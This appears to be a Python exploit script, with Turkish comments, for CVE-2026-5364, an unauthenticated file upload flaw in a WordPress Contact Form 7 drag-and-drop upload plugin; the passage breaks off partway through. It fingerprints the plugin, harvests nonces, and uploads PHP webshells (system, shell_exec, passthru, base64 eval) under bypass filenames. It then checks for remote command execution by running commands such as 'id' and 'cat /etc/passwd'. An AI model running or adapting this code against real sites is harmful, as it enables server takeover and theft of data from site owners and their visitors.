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| #!/usr/bin/env python3
"""
CVE-2026-5364 — Drag and Drop File Upload for Contact Form 7 <= 1.1.3
Unauthenticated Arbitrary File Upload via sanitize_file_name() Bypass
CVSS 8.1 (High)
Researcher: Thomas Sanzey
"""
import requests, argparse, re, sys, time, threading, shutil, json, os
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urljoin, urlparse
requests.packages.urllib3.disable_warnings()
# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════
def tw():
return shutil.get_terminal_size((100, 24)).columns
class C:
G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
BL="\033[1m"; X="\033[0m"
BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
NOCOLOR = False
@classmethod
def fmt(cls, msg, *codes):
if cls.NOCOLOR: return str(msg)
return "".join(codes) + str(msg) + cls.X
@classmethod
def ok(cls, m): return cls.fmt(m, cls.G)
@classmethod
def err(cls, m): return cls.fmt(m, cls.R)
@classmethod
def warn(cls, m): return cls.fmt(m, cls.Y)
@classmethod
def dim(cls, m): return cls.fmt(m, cls.DM)
@classmethod
def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
@classmethod
def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
@classmethod
def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)
_lock = Lock()
_verbose = False
def out(msg="", end="\n"):
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
sys.stdout.flush()
def vout(msg):
if _verbose: out(msg)
def section(title, icon="◆"):
out()
out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
out(C.fmt(" " + "─" * min(50, tw()-4), C.DM))
def kv(k, v, vc=None):
out(C.fmt(f" · {k:<16}", C.DM) + C.fmt(str(v), vc or C.WH))
# ══════════════════════════════════════════════════
# PROGRESS BAR
# ══════════════════════════════════════════════════
class Bar:
def __init__(self, total, title="", color=None):
self.total = max(total, 1)
self.title = title
self.color = color or C.CY
self.current = 0
self.start = time.time()
self._lines = 0
def update(self, n, info=""):
self.current = n
w = tw()
bw = max(10, w - len(self.title) - 26)
pct = n / self.total
filled = int(bw * pct)
elapsed = time.time() - self.start + 0.001
rate = n / elapsed
eta = (self.total - n) / rate if rate > 0 else 0
bar = (C.fmt("█" * filled, self.color, C.BL) +
C.fmt("░" * (bw - filled), C.DM))
l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
f" [{bar}] " +
C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({n}/{self.total})", C.DM))
l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) +
f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
f" " + C.fmt(str(info)[:w-32], C.DM))
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(l1 + "\n" + l2 + "\n")
sys.stdout.flush()
self._lines = 2
def finish(self, msg=""):
bw = max(10, tw() - len(self.title) - 26)
elapsed = time.time() - self.start
rate = self.current / (elapsed + 0.001)
with _lock:
if self._lines:
sys.stdout.write(f"\033[{self._lines}A\033[J")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
C.fmt("100.0%", C.BL, C.G) +
C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
C.fmt(" ✓ ", C.G, C.BL) +
C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
self._lines = 0
class CounterBar:
def __init__(self, total, title="Scan"):
self.total = max(total, 1)
self.title = title
self.n = 0
self.start = time.time()
def inc(self, info=""):
with _lock:
self.n += 1
elapsed = time.time() - self.start + 0.001
rate = self.n / elapsed
eta = (self.total - self.n) / rate if rate > 0 else 0
line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {rate:.1f}/s", C.G) +
C.fmt(f" ETA {eta:.0f}s", C.Y) +
C.fmt(f" {str(info)[:45]}", C.DM))
sys.stdout.write("\r" + " " * tw() + "\r" + line)
sys.stdout.flush()
def finish(self, msg=""):
elapsed = time.time() - self.start
with _lock:
sys.stdout.write("\r" + " " * tw() + "\r")
sys.stdout.write(
C.fmt(f" {self.title} ", C.BL, C.G) +
C.fmt(" TAMAMLANDI", C.BL, C.G) +
C.fmt(f" ({self.n}/{self.total})", C.DM) +
C.fmt(f" {elapsed:.1f}s", C.DM) +
(C.fmt(f" {msg}", C.CY) if msg else "") + "\n"
)
sys.stdout.flush()
# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════
def print_banner():
out(C.fmt("""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝
""", C.CY, C.BL))
out(C.fmt(" CVE-2026-5364", C.BL, C.R) +
C.fmt(" CF7 Drag & Drop File Upload <= 1.1.3 ", C.DM) +
C.badge_err("CVSS 8.1 HIGH"))
out(C.fmt(" Unauthenticated File Upload via sanitize_file_name() Bypass", C.DM))
out(C.fmt(" " + "─" * (tw()-4), C.DM))
out()
# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════
def make_session(timeout=15, proxy=None):
s = requests.Session()
s.verify = False
s.timeout = timeout
s.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36",
})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
return s
def get(sess, url, **kw):
try:
return sess.get(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [GET ERR] {url} → {e}"))
return None
def post_req(sess, url, **kw):
try:
return sess.post(url, allow_redirects=True, **kw)
except Exception as e:
vout(C.dim(f" [POST ERR] {url} → {e}"))
return None
# ══════════════════════════════════════════════════
# PLUGİN TESPİT
# ══════════════════════════════════════════════════
PATCHED = (1, 1, 4)
def parse_version(v):
try:
return tuple(int(x) for x in re.split(r'[.\-]', str(v))[:3])
except Exception:
return (0, 0, 0)
def is_patched(v):
return parse_version(v) >= PATCHED
def detect_plugin(sess, base_url):
result = {
"installed": False,
"version": None,
"patched": False,
"cf7": False,
}
# ── 1) readme.txt ────────────────────────────
readme_url = urljoin(base_url,
"/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7/readme.txt")
r = get(sess, readme_url)
if r and r.status_code == 200 and "Drag and Drop" in r.text:
result["installed"] = True
m = re.search(r'Stable tag:\s*([\d.]+)', r.text, re.I)
if m:
result["version"] = m.group(1)
result["patched"] = is_patched(m.group(1))
vout(C.dim(f" [detect] readme.txt → v{result['version']}"))
# ── 2) JS dosyası ────────────────────────────
if not result["installed"]:
js_url = urljoin(base_url,
"/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7"
"/frontend/js/cf7_uploads.js")
r = get(sess, js_url)
if r and r.status_code == 200:
result["installed"] = True
vout(C.dim(" [detect] JS dosyası bulundu"))
# ── 3) HTML sinyalleri ───────────────────────
if not result["installed"]:
r = get(sess, base_url)
if r:
signals = [
r'cf7_file_uploads',
r'drag-and-drop-file-upload-for-contact-form-7',
r'cf7_uploads',
r'dnd_upload',
]
for sig in signals:
if re.search(sig, r.text, re.I):
result["installed"] = True
vout(C.dim(f" [detect] HTML sinyal: {sig}"))
break
# ── CF7 kontrolü ─────────────────────────────
r = get(sess, base_url)
if r and re.search(r'wpcf7|contact-form-7', r.text, re.I):
result["cf7"] = True
return result
# ══════════════════════════════════════════════════
# NONCE ÇIKAR
# ══════════════════════════════════════════════════
def extract_nonce(sess, base_url):
candidates = [
base_url,
urljoin(base_url, "/contact/"),
urljoin(base_url, "/contact-us/"),
urljoin(base_url, "/iletisim/"),
urljoin(base_url, "/?page_id=2"),
urljoin(base_url, "/?p=1"),
]
# REST API'den sayfa listesi
api = urljoin(base_url, "/wp-json/wp/v2/pages?per_page=20&_fields=link")
r = get(sess, api)
if r and r.status_code == 200:
try:
for p in r.json():
link = p.get("link", "")
if link and link not in candidates:
candidates.append(link)
except Exception:
pass
nonce_patterns = [
r'"nonce"\s*:\s*"([a-f0-9]{10})"',
r"'nonce'\s*:\s*'([a-f0-9]{10})'",
r'cf7_file_uploads.*?"nonce"\s*:\s*"([a-f0-9]+)"',
r'nonce["\s:\']+([a-f0-9]{8,12})',
]
for url in candidates:
r = get(sess, url)
if not r or r.status_code != 200:
continue
for pat in nonce_patterns:
m = re.search(pat, r.text, re.S)
if m:
nonce = m.group(1)
vout(C.dim(f" [nonce] {url} → {nonce}"))
return nonce, url
return None, None
# ══════════════════════════════════════════════════
# WEBSHELL İÇERİKLERİ
# ══════════════════════════════════════════════════
SHELLS = {
"basic": '<?php system($_GET["cmd"]); ?>',
"exec": '<?php echo shell_exec($_GET["cmd"]); ?>',
"pass": '<?php passthru($_GET["cmd"]); ?>',
"eval": '<?php @eval(base64_decode($_POST["x"])); ?>',
"info": '<?php phpinfo(); ?>',
}
def get_shell_content(shell_type="basic"):
return SHELLS.get(shell_type, SHELLS["basic"])
# ══════════════════════════════════════════════════
# SHELL URL DOĞRULA
# ══════════════════════════════════════════════════
def is_valid_shell_url(url, base_url):
"""
Dönen URL gerçekten upload dizininde bir PHP dosyası mı?
"""
if not url or not isinstance(url, str):
return False
# http ile başlamalı
if not url.startswith("http"):
return False
parsed = urlparse(url)
# .php uzantılı olmalı
if not parsed.path.lower().endswith(".php"):
return False
# uploads dizininde olmalı
if "uploads" not in parsed.path:
return False
# Bilinen WP sistem dosyaları olmamalı
BLOCKED_PATHS = [
"xmlrpc.php", "wp-login.php", "wp-cron.php",
"wp-trackback.php", "wp-comments-post.php",
"wp-signup.php", "wp-activate.php",
]
path_lower = parsed.path.lower()
for bp in BLOCKED_PATHS:
if path_lower.endswith(bp):
vout(C.dim(f" [url_check] Engellendi: {bp}"))
return False
# wp-admin içinde olmamalı
if "wp-admin" in path_lower:
return False
return True
# ══════════════════════════════════════════════════
# DOSYA YÜKLE
# ══════════════════════════════════════════════════
def upload_shell(sess, base_url, nonce, shell_content, shell_type="basic"):
"""
CVE-2026-5364 exploit:
- Dosya adı : shell.php$ → sanitize_file_name() → .php olarak kaydedilir
- type param: php$ → blacklist'te yok, allowlist'te var
- Sonuç : wp-content/uploads/cf7-uploads-custom/<uniqid>.php
"""
ajax_url = urljoin(base_url, "/wp-admin/admin-ajax.php")
# sanitize_file_name() tarafından silinen bypass karakterleri
bypass_chars = ["$", "%", "~", "`", " "]
for bchar in bypass_chars:
filename = f"shell.php{bchar}"
ext_bypass = f"php{bchar}"
shell_bytes = shell_content.encode()
files = {
"file": (
filename,
shell_bytes,
"application/x-php",
)
}
data = {
"action": "cf7_file_uploads",
"nonce": nonce,
"type": ext_bypass,
"size": str(len(shell_bytes)),
"type_upload": "0",
}
vout(C.dim(f" [upload] bypass='{bchar}' "
f"file={filename} type={ext_bypass}"))
r = post_req(sess, ajax_url, data=data, files=files)
if not r:
continue
vout(C.dim(f" [response] {r.status_code} → {r.text[:200]}"))
# ── JSON parse ───────────────────────────
try:
resp = r.json()
if resp.get("status") == "ok":
file_url = resp.get("text", "")
# URL doğrulama — xmlrpc.php gibi sahte URL'leri filtrele
if is_valid_shell_url(file_url, base_url):
return {
"ok": True,
"url": file_url,
"bchar": bchar,
"filename": filename,
"raw": resp,
}
else:
vout(C.dim(f" [upload] Geçersiz shell URL: {file_url}"))
continue
# Reddedildi — sonraki bypass dene
if resp.get("status") == "not":
vout(C.dim(f" [upload] '{bchar}' reddedildi"))
continue
except Exception:
# JSON değil — regex ile URL ara
m = re.search(r'https?://[^\s"\'<>]+\.php', r.text)
if m:
file_url = m.group(0)
if is_valid_shell_url(file_url, base_url):
return {
"ok": True,
"url": file_url,
"bchar": bchar,
"filename": filename,
"raw": r.text,
}
return {"ok": False, "reason": "all_bypass_failed"}
# ══════════════════════════════════════════════════
# SHELL DOĞRULA & KOMUT ÇALIŞTIR
# ══════════════════════════════════════════════════
# Komuta özel kesin RCE kalıpları
RCE_PATTERNS = {
"id": r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)',
"whoami": r'^(?:www-data|root|apache|nginx|nobody|http|daemon|ftp)$',
"uname -a": r'Linux\s+\S+\s+\d+\.\d+\.\d+',
"uname": r'(?:Linux|Darwin|FreeBSD)\s+\S+',
"pwd": r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$',
"hostname": r'^[a-zA-Z0-9][a-zA-Z0-9\-]{2,62}$',
"cat /etc/passwd": r'root:x:0:0:root',
"ls": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ls -la": r'(?:total \d+|[-drwx]{10}\s+\d+)',
"ps": r'(?:PID\s+TTY|^\s*\d+\s+pts)',
"ps aux": r'(?:USER\s+PID|root\s+\d+)',
"ifconfig": r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
"ip a": r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
"df": r'/dev/[a-z]+\d*\s+\d+',
"df -h": r'/dev/[a-z]+\d*\s+\d+',
"env": r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=',
"phpinfo": r'PHP Version \d+\.\d+\.\d+',
}
# Kesinlikle false positive olan içerikler
FALSE_POSITIVES = [
r'XML-RPC',
r'xmlrpc',
r'POST requests only',
r'WordPress.*?site',
r'wp-login',
|
